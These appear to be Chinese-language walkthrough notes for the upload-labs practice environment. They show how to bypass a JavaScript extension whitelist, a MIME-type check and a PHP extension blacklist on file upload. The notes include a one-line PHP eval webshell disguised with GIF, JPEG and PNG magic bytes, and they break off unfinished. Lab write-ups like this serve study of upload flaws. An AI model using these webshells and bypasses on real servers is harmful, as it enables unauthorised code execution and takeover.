upload-labs
1.前端JS校验
var allow_ext = ".jpg|.png|.gif";
允许上传的后缀白名单
Content-Disposition: form-data; name="upload_file"; filename="1.gif"
在前端选择写有一句话木马的文件,然后用BP抓包,修改后缀,使得该文件能够被当作php文件来执行。
Content-Disposition: form-data; name="upload_file"; filename="1.php"
[!NOTE]
图片马(Image Webshell)
我习惯用用 010来写,
GIF89a <?php @eval($_POST['cmd']); ?>jpg
FF D8 FF E0 <?php @eval($_POST['cmd']); ?>png
89 50 4E 47 0D 0A 1A 0A <?php @eval($_POST['cmd']); ?>
右键图片,以新标签页打开,这样就可以看到URL了—— http://10.16.15.239/upload-labs/upload/1.php。
然后用蚁剑连接。
2.MIME类型校验
if (($_FILES['upload_file']['type'] == 'image/jpeg')
|| ($_FILES['upload_file']['type'] == 'image/png')
|| ($_FILES['upload_file']['type'] == 'image/gif'))
只校验了 MIME 类型(type)
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
文件名完全可控
用用户提供的文件名,直接拼接成服务器上的存储路径
等价于:
服务器路径 = 上传目录 + "/" + 用户输入的文件名
所以修改mime类型就好了,
Content-Type: application/octet-stream
Content-Type: image/gif
3.
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');//黑名单
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//取最后一个点后的内容
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
可以用
.phtml
.php3
.php5
.phps
.pht
未完待续